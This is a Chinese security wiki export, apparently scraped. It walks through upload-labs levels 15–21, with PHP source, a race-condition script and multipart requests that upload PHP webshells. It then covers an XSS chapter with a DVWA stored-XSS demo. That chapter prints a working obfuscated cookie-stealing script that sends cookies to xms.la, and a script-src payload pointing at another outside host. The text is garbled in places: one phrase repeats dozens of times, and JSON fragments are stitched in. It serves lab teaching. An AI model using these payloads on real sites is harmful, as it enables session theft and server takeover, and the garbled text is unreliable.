if(file_exists($filename)){ // getimagesize - 取得图像大小 /*返回一个具有四个单元的数组.索引 0 包含图像宽度的像素值,索引 1 包含图像高度的像素值.索引 2 是图像类型的标记:1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM.这些标记与 PHP 4.3.0 新加的 IMAGETYPE 常量对应.索引 3 是文本字符串,内容为"height="yyy" width="xxx"",可直接用于 IMG 标记. */ $info = getimagesize($filename); // image_type_to_extension - 取得图像类型的文件后缀 $ext = image_type_to_extension($info[2]); // stripos - 查找字符串首次出现的位置(不区分大小写) if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; }} 解决方法和上一关一样直接上传图片马 第十六关文件类型绕过12345678910111213141516171819// 这里用到php_exif模块来判断文件类型,还是直接就可以利用图片马就可进行绕过:function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; }} 解决方法和上一关一样直接上传图片马 第十七关二次渲染代码分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384$is_upload = false;$msg = null;if (isset($_POST['submit'])){ // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径 $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name']; $target_path=UPLOAD_PATH.'/'.basename($filename); // 获得上传文件的扩展名 $fileext= substr(strrchr($filename,"."),1); //判断文件后缀与类型,合法才进行上传操作 if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromjpeg($target_path); if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".jpg"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefrompng($target_path); if($im == false){ $msg = "该文件不是png格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".png"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ //使用上传的图片生成新的图片 $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ //给新图片指定文件名 srand(time()); $newfilename = strval(rand()).".gif"; //显示二次渲染后的图片(使用用户上传图片生成的新图片) $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; }} 解决方法 先上传一个正常的gif文件,然后在下载下来用010对比上传前后的gif动图 修改源文件中和渲染后一样的地方 将保存后的图片重新上传 第十八关条件竞争 基本概念:竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中. 开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果. 漏洞逻辑:首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件再删掉. 代码分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990<?php// 包含配置文件include '../config.php';// 包含头部文件include '../head.php';// 包含菜单文件include '../menu.php';// 初始化上传状态和消息$is_upload = false;$msg = null;// 处理表单提交if(isset($_POST['submit'])){ // 允许的文件类型 $ext_arr = array('jpg','png','gif'); // 获取上传文件名 $file_name = $_FILES['upload_file']['name']; // 获取临时文件路径 $temp_file = $_FILES['upload_file']['tmp_name']; // 获取文件扩展名 $file_ext = substr($file_name,strrpos($file_name,".")+1); // 构建上传文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; echo $upload_file; // 尝试移动上传文件 if(move_uploaded_file($temp_file, $upload_file)){ // 检查文件类型 if(in_array($file_ext,$ext_arr)){ // 生成新的文件名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 重命名上传文件 rename($upload_file, $img_path); // 设置上传状态为成功 $is_upload = true; }else{ // 不允许的文件类型,设置错误消息 $msg = "只允许上传.jpg|.png|.gif类型文件!"; // 删除上传的文件 unlink($upload_file); } }else{ // 移动文件失败,设置错误消息和错误代码 $msg = '上传出错! 错误代码: ' . $_FILES['upload_file']['error']; }}?><div id="upload_panel"> <ol> <li> <h3>任务</h3> <p>上传一个<code>webshell</code>到服务器.</p> </li> <li> <h3>上传区</h3> <form enctype="multipart/form-data" method="post"> <p>请选择要上传的图片:<p> <input class="input_file" type="file" name="upload_file"/> <input class="button" type="submit" name="submit" value="上传"/> </form> <div id="msg"> <?php if($msg != null){ echo "提示:".$msg; } ?> </div> <div id="img"> <?php if($is_upload){ echo '<img src="'.$img_path.'" width="250px" />'; } ?> </div> </li> <?php // 根据参数决定是否显示代码 if($_GET['action'] == "show_code"){ include 'show_code.php'; } ?> </ol></div><?php// 包含底部文件include '../footer.php';?> 解决方法123456789101112# Python脚本import requestsurl1 = "http://192.168.2.240/upload-labs/upload/jiangjiyue.php"url2 = "http://192.168.2.240/upload-labs/upload/flag.php"while True: a1 = requests.get(url1) a2 = requests.get(url2) # print(a2) if a2.status_code == 200: print('success') break 12# php脚本<?php fwrite(fopen('flag.php', w), "<?php phpinfo();?>"); ?> 先启动Python脚本,再去用burp发包 第十九关图片马绕过代码分析123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115# 分析:本Pass做了白名单校验,文件上传后先保存在对象中,随后对文件进行判断存在、检查扩展名、检查大小、重命名、移动操作,没有判断文件头和二次渲染.我们可以使用图片木马配合文件包含漏洞进行绕过.(虽然进行了移动和重命名,但是网页会回显地址)# HTTP EXP:直接将shell.php改为shell.jpg,上传,随后使用文件包含漏洞访问该文件(本Pass将文件上传至根目录下)$is_upload = false;$msg = null;if (isset($_POST['submit'])){ require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已经被上传,但没有重命名.'; break; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录.'; break; case -2: $msg = '上传失败,上传目录不可写.'; break; case -3: $msg = '上传失败,无法上传该类型文件.'; break; case -4: $msg = '上传失败,上传的文件过大.'; break; case -5: $msg = '上传失败,服务器已经存在相同名称文件.'; break; case -6: $msg = '文件无法上传,文件不能复制到目标目录.'; break; default: $msg = '未知错误!'; break; }}//myupload.phpclass MyUpload{.................. var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" );.................. /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // 如果检查文件是否存在的标志设置为1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // 我们已经准备好将文件移动到目标 $ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // 检查是否需要重命名文件 if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } return $this->resultUpload( "SUCCESS" ); }}; 解决方法直接上传图片马,然后配合文件包含 第二十关大小写绕过1234567891011121314151617181920212223242526# 本Pass只对保存名进行黑名单判断,该做的防护全部没做.所以我们进行大小写绕过,使用BurpSuite截包,直接将保存名改为shell.Php即可绕过$is_upload = false;$msg = null;if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess"); $file_name = $_POST['save_name']; $file_ext = pathinfo($file_name,PATHINFO_EXTENSION); if(!in_array($file_ext,$deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' .$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; }else{ $msg = '上传出错!'; } }else{ $msg = '禁止保存为该类型文件!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }} 解决方法12345678910# exp------WebKitFormBoundaryvTf6MJ5w8rVUfWjtContent-Disposition: form-data; name="upload_file"; filename="jiangjiyue.phP"Content-Type: application/octet-stream<?php phpinfo();?>------WebKitFormBoundaryvTf6MJ5w8rVUfWjtContent-Disposition: form-data; name="save_name"upload-19.pHp 第二十一代码审计绕过代码分析本Pass做了如下校验: 1. 验证MIME类型(这个很好解决) 2. 验证文件名.验证文件名操作如下: 1. empty()配合三运运算符检查文件名是否为空. 2. 如果$file不为数组则将$file打散为数组.(这步很关键) 3. end()函数提取数组最后一个元素为后缀名. 4. 确定白名单 5. 将文件名设置为数组索引为零的元素与数组索引为元素总个数减一的元素合并. 6. 上传、改名、移动. 7. 第二步使用if判断$file是否为数组,是则跳过,不是则打散为数组.所以我们可以在上传中途控制save_name参数,随意操作POST数组索引进行绕过,这样$file已经是数组,不会被重新打散. 解决方法1234567891011121314151617181920212223242526# HTTP EXP:先将Content-type改为image/jpegreset()取数组索引为0的元素为文件名,所以将save_name[0]设置为"shell.php".save_name[1]不设置,使count()结果为2.save_name[2]为jpg.拼接结果为shell.php,$ext值为jpg.------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="upload_file"; filename="jiangjiyue.php"Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="save_name[0]"shell.php/------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="save_name[2]"jpg------WebKitFormBoundaryB5mJk8YZmYu9lgAfContent-Disposition: form-data; name="submit"上传------WebKitFormBoundaryB5mJk8YZmYu9lgAf--"},{"title":"五. XSS跨站脚本","path":"/wiki/VulnerabilityInsightDocs/五. XSS跨站脚本.html","content":"总字符数: 22.14K 代码: 9.82K, 文本: 5.29K 预计阅读时间: 1.09 小时 XSS概念 ​\tXSS又叫CSS (Cross Site Script) ,跨站脚本攻击. ​\t它指的是攻击者往Web页面里插入恶意js代码,当用户浏览该页面的时候,嵌入Web其中的html代码就会被执行,从而达到恶意攻击用户的特殊目的. ​\t在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器. ​\t由于有的服务器并没有对用户的输入进行安全方面的验证,攻击者就可以很容易地通过正常的输入手段,夹带进一些恶意的HTML脚本代码. ​\t当受害者的浏览器访问目标服务器上被注入恶意脚本的页面后,由于浏览器对目标服务器的信任,这段恶意脚本的执行不会受到什么阻碍. ​\t此时,攻击者的目的就已经达到了. XSS指的是跨站脚本攻击,也叫跨站脚本漏洞. 跨站脚本攻击发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码、植马挖矿、刷流量、劫持后台、篡改页面、内网扫描、制造蠕虫等攻击. 窃取隐私攻击者可以通过XSS攻击在用户浏览器上执行脚本,窃取cookie、浏览器历史、IP地址等私人信息,并将这些信息发送到攻击者控制的服务器.钓鱼欺骗利用XSS在用户浏览的页面上生成假的登录框或提示信息,欺骗用户输入敏感信息,如用户名和密码,随后将这些信息发送到攻击者的服务器.窃取密码通过XSS注入的脚本捕捉用户在表单中输入的密码或其他敏感数据,并在用户提交表单时将这些信息拦截并发送给攻击者.传播恶意代码攻击者通过XSS将恶意脚本注入至受害者网站,此脚本可能会自动下载恶意程序到访问者的计算机上,从而感染更多的系统.植马挖矿“植马”指的是在用户的计算机上植入后门程序.”挖矿”则是指通过XSS注入的脚本在用户的浏览器中悄悄执行加密货币挖矿.刷流量攻击者可以通过XSS在受害者的网页中嵌入自动重定向的脚本,将用户不知不觉中重定向到其他网站,以人为制造流量.劫持后台如果管理人员的浏览器受到XSS攻击,攻击者可能窃取管理员的会话cookie,进而获取足够的权限访问网站后台进行控制.篡改页面通过XSS攻击,攻击者可以实时修改用户所看到的网页内容,添加虚假信息或广告,实现诈骗等目的.内网扫描https://www.anquanke.com/post/id/103785https://www.anquanke.com/post/id/103785攻击者可以利用XSS脚本在受害者浏览器中执行端口扫描或网络探测,以识别内网中的其他设备和服务,为进一步攻击做准备.制造蠕虫利用XSS漏洞构造自我复制并自动传播的恶意脚本(即蠕虫),一旦用户浏览了含有蠕虫的页面,蠕虫便会持续通过社交工程或其他机制传播,增加受害者数量. XSS攻击使用到的技术主要为HTML和Javascript. XSS攻击对WEB服务器无直接危害,但是它借助网站进行传播,使网站的使用用户受到攻击,导致网站用户帐号被窃取,从而对网站也产生了较严重的危害. XSS原理XSS攻击的原理是利用Web应用程序中存在的漏洞,通过注入恶意脚本,从而执行攻击者预设的操作. 通常:XSS攻击需要满足以下两个条件 Web应用程序存在输入数据不严谨的漏洞,比如没有对用户输入的数据进行过滤或转义. Web应用程序存在输出数据不严谨的漏洞,比如没有对从数据库中读取的数据进行过滤或转义. 12345678910111213141516171819202122232425<?php// 初始化一个变量用于存储 HTML 内容$html=''; // 检查是否有提交if(isset($_GET['submit'])){ // 检查输入的消息是否为空 if(empty($_GET['message'])){ // 如果为空,添加提示消息 $html.="<p class='notice'>输入一段内容试试</p>"; }else{ // 如果不为空,添加用户输入的消息 $html.="<p class='notice'>{$_GET['message']}</p>"; }}?><div id="xssr_main"> <form method="get"> <input class="xssr_in" type="text" maxlength="100" name="message" /> <input class="xssr_submit" type="submit" name="submit" value="submit" /> </form> <!-- 输出 HTML 内容--> <?php echo $html; ?></div> XSS类型根据攻击的方式和影响范围,XSS可以分为以下三种类型 存储型存储型XSS(又称持久性xss):攻击者将恶意脚本存储在服务器上,当用户访问受害者网站时,恶意脚本会被注入到网页中.这种类型的XSS攻击可以长期存在于网站上,对所有访问该网站的用户都产生影响. 攻击者上传的包含恶意js脚本的留言等信息被Web应用程序保存到数据库中,Web应用程序在生成新的页面的时候如果包含了该恶意js脚本,这样会导致所有访问该网页的浏览器解析执行该恶意脚本. 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 用户正常浏览信息 通过发帖向服务器发送存在恶意代码的帖子 用户查看帖子内容 服务器将恶意的代码发送给用户 用户端浏览器执行恶意代码 存储型XSS可能出现的位置:用户注册类,用户名,注册邮箱,手机号,个人说明,留言评论,发布文章公告 反射型反射型XSS(只能触发一次,也称作”非持久型XSS”):攻击者将恶意脚本注入到一个链接中,当用户点击该链接时,恶意脚本会被传递给服务器,服务器返回响应时,恶意脚本会被注入到响应中,最终被用户浏览器执行.这种类型的XSS攻击只对点击链接的用户产生影响,攻击者需要欺骗用户点击恶意链接. ​\t具体表现在受害者点击了含有恶意JavaScript脚本的url,而Web应用程序只是不加处理的把该恶意脚本”反射”回受害者的浏览器而使受害者的浏览器执行响应的脚本. https://reurl.cc/main/cnhttps://reurl.cc/main/cn 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 过程如下: 用户正常浏览信息 攻击者诱导用户点击恶意的URL 用户点击恶意攻击者提供的URL 服务器对攻击者的JS做出回应 攻击者的JS在客户端浏览器执行 反射型XSS可能出现的位置:一般出现在URL参数中及网站搜索栏. DOM型https://juejin.cn/post/6844903939008102413https://juejin.cn/post/6844903939008102413 DOM型XSS:攻击者通过修改页面的DOM结构,注入恶意脚本,从而实现攻击.这种类型的XSS攻击不涉及服务器端,完全在客户端进行,因此防御起来比较困难. DOM,全称是Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构和样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM 文档对象模型的一种漏洞,而且不需要与服务器进行交互. 客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行.基于这个特性,就可以利用JS脚本来实现XSS 漏洞的利用. 当页面的JavaScript脚本处理不可信的数据并动态更新DOM时,未经适当清理或转义的恶意输入可以导致JavaScript代码被恶意操纵,从而执行攻击者注入的脚本。 与前面两种XSS的区别就在于xss代码不需要服务器解析响应的直接参与,触发xss靠的是浏览器端的DOM解析. 通过前端脚本修改页面的DOM节点形成的XSS,代码可见,从前端获取到的DOM中的数据在本地执行,从效果上来说也是反射型XSS XSS攻击场景XSS攻击可以发生在各种Web应用程序中,包括社交网络、电子商务、论坛等各种网站. 以下是一些常见的 XSS攻击场景: 评论区:攻击者可以在评论区注入恶意脚本,从而攻击访问该页面的所有用户. 搜索框:攻击者可以在搜索框注入恶意脚本,从而攻击使用该搜索框的所有用户. 表单:攻击者可以在表单中注入恶意脚本,从而攻击提交该表单的用户. URL参数:攻击者可以在URL参数中注入恶意脚本,从而攻击点击该链接的用户. Cookie:攻击者可以在cookie中注入恶意脚本,从而攻击所有访问该网站的用户. 危险请不要打开这个!!!分页和排序:Web应用可能使用URL参数来控制分页和排序,如果未对这些参数进行适当的过滤和转义,可能会导致反射型XSS数据可视化和报表:在展示数据可视化和报表时,Web应用可能使用用户输入的参数来生成图表。如果未对这些参数进行适当的过滤和转义,可能导致反射型XSS路径导航:Web应用可能在路径导航中包含用户输入的内容。如过没有正确处理这些输入,可能导致反射型XSS。HTTP响应:攻击者可以通过修改Web应用程序发送的HTTP响应来注入恶意脚本,例如在响应的HTML、JavaScript或CSS代码中注入恶意代码。第三方组件:Web应用程序可能包含来自第三方的组件,例如广告、社交媒体插件等,这些组件可能存在安全漏洞,使得攻击者可以利用它们来注入恶意脚本。富文本编辑器:富文本编辑器允许用户以富文本格式创建和编辑内容,但可能会存在安全漏洞。AJAX:AJAX(异步JavaScript和XML)是一种在Web应用程序中动态加载数据的技术,攻击者可以利用AJAX来注入恶意脚本。WebSocket:WebSocket是一种在Web应用程序中实现实时通信的技术,攻击者可以利用WebSocket来注入恶意脚本。JSONP:JSONP(JSON with Padding)是一种在Web应用程序中实现跨域请求的技术,攻击者可以利用JSONP来注入恶意脚本。 XSS防御措施为了有效防御XSS攻击,Web应用程序需要采取以下措施: 输入数据过滤和转义:对于所有从用户输入的数据,应该进行过滤和转义,从而防止恶意脚本注入.例如,可以使用HTML编码对输入数据进行转义,或者使用黑名单和白名单的方式进行过滤. 输出数据过滤和转义:对于所有输出到浏览器的数据,应该进行过滤和转义,从而防止恶意脚本被执行.例如,可以使用JS编码对输出数据进行转义,或者使用内容安全策略(CSP)进行过滤. 对Cookie进行安全设置:Web应用程序应该对Cookie进行安全设置,例如设置HttpOnly属性,从而防止恶意脚本窃取Cookie. 使用Web应用程序防火墙:Web应用程序防火墙(WAF)可以检测和阻止XSS攻击,可以有效地提高Web应用程序的安全性. 安全编程实践:Web应用程序开发者应该采用安全编程实践,例如使用最少特权原则,避免使用eval() 和innerHTML等危险的函数,避免使用自定义的解析器等. Xss平台搭建 宝塔创建站点下载源码1234git clone https://github.com/78778443/xssplatform.gitcd /xssplatformmv xssplatform/* ./rm -rf xssplatform添加host记录由于上方的ip被使用了我改成了域名所以这里需要添加HOST记录搞完之后记得刷新DNS缓存不要指向错了IP,我就顺手指向了本机IP..有代理的记得关掉或者用插件配置成直接连接安装Xss平台我们把`xssplatform`这个文件夹赋予给www用户并且设置755权限变成绿色了还需要编辑一下配置文件填入我们的数据库配置信息写入相关信息设置nginx伪静态12345678910111213141516171819202122232425262728293031## 路由重写范例### .htaccess方式文件写入以下代码:RewriteEngine OnRewriteRule ^([0-9a-zA-Z]{6})$ /xss/index.php?do=code&urlKey=$1 [L]RewriteRule ^do/auth/(\\w+?)(/domain/([\\w\\.]+?))?$ /xss/index.php?do=do&auth=$1&domain=$3 [L]RewriteRule ^register/(.*?)$ /xss/index.php?do=register&key=$1 [L]RewriteRule ^register-validate/(.*?)$ /xss/index.php?do=register&act=validate&key=$1 [L]RewriteRule ^login$ /xss/index.php?do=login [L]### apache方式<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L]RewriteRule ^do/auth/(\\w+?)(/domain/([\\w\\.]+?))?$ /index.php?do=do&auth=$1&domain=$3 [L]RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L]RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]</IfModule>#### nginx方式rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;rewrite "^/do/auth/(\\w+?)(/domain/([\\w\\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;我这里是nginx,选择最后一个 存储型XSS演示低级分析前端首先我们进入到DVWA中将难度选择为LOW 之后我们进入XSS(Stored)中.在进行测试前我们可以先对提交点进行审查元素. 对着目标右键选择审查元素 接下来我们查看两个输入框的属性. 可以看到有输入长度的限制.其中Name maxlength=10 Message maxlength=50.不难看出一个长度为10一个长度为50.当然对于前端的长度限制我们是可以使用抓包工具去绕过.或者直接在本地修改html属性.如将maxlength改为100,这样前端的输入限制就可以轻松绕过了. ​\t在安全编码中,将安全的设置放置于用户端,虽然可以减轻服务器的工作量,但是如果服务端没有其他措施的话,则会很轻松的进行绕过. 我们首先尝试使用短 XSS payload 进行尝试. 1payload:<script>alert(1)</script> payload注入成功证明存在漏洞 使用Xss平台盗取Cookiehttps://xms.la/https://xms.la/ xms.la窃取Cookie原理详解1try { var r0; var r1; var r2; try { r0 = window.btoa(eval(window.atob('ZG9jdW1lbnQuY29va2ll'))) } catch { r0 = document.cookie }; try { r1 = window.btoa(eval(window.atob('ZG9jdW1lbnQucmVmZXJyZXI='))) } catch { r1 = document.referrer }; try { r2 = window.btoa(eval(window.atob('ZG9jdW1lbnQuVVJM'))) } catch { r2 = document.URL }; var xhr = null; var x1 = "aHR0cHM6Ly94bXMubGEvVDBWRTY="; try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiceXObject('Microsoft.XMLHttp') }; xhr.open(window.atob('cG9zdA=='), window.atob(x1), true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.send('r0=' + r0 + '&r1=' + r1 + '&r2=' + r2 + "&c=T0VE6"); } catch { }定义三个变量:r0,r1,r2.试图执行一些base64解码的JavaScript代码.如果执行失败,就会捕捉到异常,并将文档的相应值赋给这些变量.使用window.btoa函数将数据编码为base64格式,而window.atob函数用于解码base64编码的字符串.该脚本尝试从文档对象中收集三个信息:document.cookie – 当前域名存储的cookies.document.referrer – 引导用户跳转到当前页面的上一个页面的URL.document.URL – 当前页面的完整URL.这些信息随后被编码为base64格式.创建一个XMLHttpRequest对象以发送异步HTTP请求.配置请求为对一个base64编码(解码后为https://xms.la/T0VE6)的URL进行POST请求.请求头指定内容类型为URL编码的表单数据.将收集并编码的信息(r0、r1和r2)作为请求负载发送,附加了一个额外的参数c.现在,让我们将混淆的base64编码字符串解码:'ZG9jdW1lbnQuY29va2ll' 解码为 'document.cookie''ZG9jdW1lbnQucmVmZXJyZXI=' 解码为 'document.referrer''ZG9jdW1lbnQuVVJM' 解码为 'document.URL''cG9zdA==' 解码为 'post''aHR0cHM6Ly94bXMubGEvVDBWRTY=' 解码为一个URL 'https://xms.la/T0VE6'在带注释的代码中,可以更清晰的看到每一步的操作:123456789101112131415161718192021222324252627282930313233343536373839404142434445try { var r0; // 存储编码后的cookie var r1; // 存储编码后的引用页URL(referrer) var r2; // 存储编码后的当前页URL // 尝试获取并编码当前文档的cookie. try { r0 = window.btoa(eval(window.atob('document.cookie'))) } catch { r0 = document.cookie }; // 尝试获取并编码引用页的URL(即上一个访问页面的URL). try { r1 = window.btoa(eval(window.atob('document.referrer'))) } catch { r1 = document.referrer }; // 尝试获取并编码当前文档的URL. try { r2 = window.btoa(eval(window.atob('document.URL'))) } catch { r2 = document.URL }; var xhr = null; // 用来发起HTTP请求的对象 // 解码基础URL,用于发起请求. var x1 = "https://xms.la/T0VE6"; // 创建XMLHttpRequest对象. try { xhr = new XMLHttpRequest() } catch (e) { xhr = new ActiveXObject('Microsoft.XMLHttp') }; // 配置POST请求. xhr.open('post', x1, true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); // 发送编码后的数据. xhr.send('r0=' + r0 + '&r1=' + r1 + '&r2=' + r2 + "&c=T0VE6");} catch { } 点击项目名称 点击查看代码 复制以下内容构造payload 1<script src=http://xss.moon.com/Q7yYOv?1661821878></script> 将payload植入到留言板 回到Xss平台查看项目内容自动获取到了Cookie 伪造登录 记录上线机器的地址以及cookie Burp抓包登录 成功登录 漏洞源码分析1234567891011121314151617181920212223242526272829303132<?php// 判断POST过来的数据中是否存在btnSign字段,如果不存在则结束if( isset( $_POST[ 'btnSign' ] ) ) { // 接收POST中的mtxMessage字段以及txtName // /** * trim ( string $str [, string $character_mask = " \\t \\r\\0\\x0B" ] ) : string * 参数str 待处理的字符串 * character_mask 可选参数,过滤字符也可由 character_mask 参数指定.一般要列出所有希望过滤的字符,也可以使用 ".." 列出一个字符范围. * 返回值 过滤后的字符串. */ $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // stripslashes ( string $str ) 反引用一个引用字符串. // 返回值 返回一个去除转义反斜线后的字符串(\\' 转换为 ' 等等).双反斜线(\\\\)被转换为单个反斜线(\\) $message = stripslashes( $message ); /** * mysqli_real_escape_string() 函数 * mysqli_real_escape_string(connection,escapestring); * connection\t必需.规定要使用的 MySQL 连接. * escapestring\t必需.要转义的字符串.编码的字符是 NUL(ASCII 0)、 、\\r、\\、'、" 和 Control-Z. * 如果不转义插入到数据库的时候则会报错 */ $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 更新数据库 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 输出留言板内容 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );} 可以看到源码中并没有对用户输入的数据进行过滤等操作可以直接注入payload 中级分析前端 可以看到<script></scrpit>被过滤掉了,我们尝试绕过 大小写绕过<ScrIpt></ScRipt> 双写绕过<scri<script>pt></scr</script>ipt> 通过测试后发现2种方式都被过滤,然后尝试name输入框,将长度限制改掉然后输入payload 使用Xss平台盗取Cookie注意:这里有个小Tip: 1就是注入<script>会失败但是注入<script src>不会失败.会在源码分析里说明 漏洞源码分析1234567891011121314151617181920212223242526272829303132333435363738394041<?php// 判断POST过来的数据中是否存在btnSign字段,如果不存在则结束if( isset( $_POST[ 'btnSign' ] ) ) { // 接收POST中的mtxMessage字段以及txtName $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] );\t/**\taddslashes ( string $str ) :返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线.这些字符是单引号(')、双引号(")、反斜线(\\)与 NUL(NULL 字符).\tstrip_tags ( string $str) : 该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果.它使用与函数 fgetss() 一样的机制去除标记.\t*/ $message = strip_tags( addslashes( $message ) ); /** * mysqli_real_escape_string() 函数 * 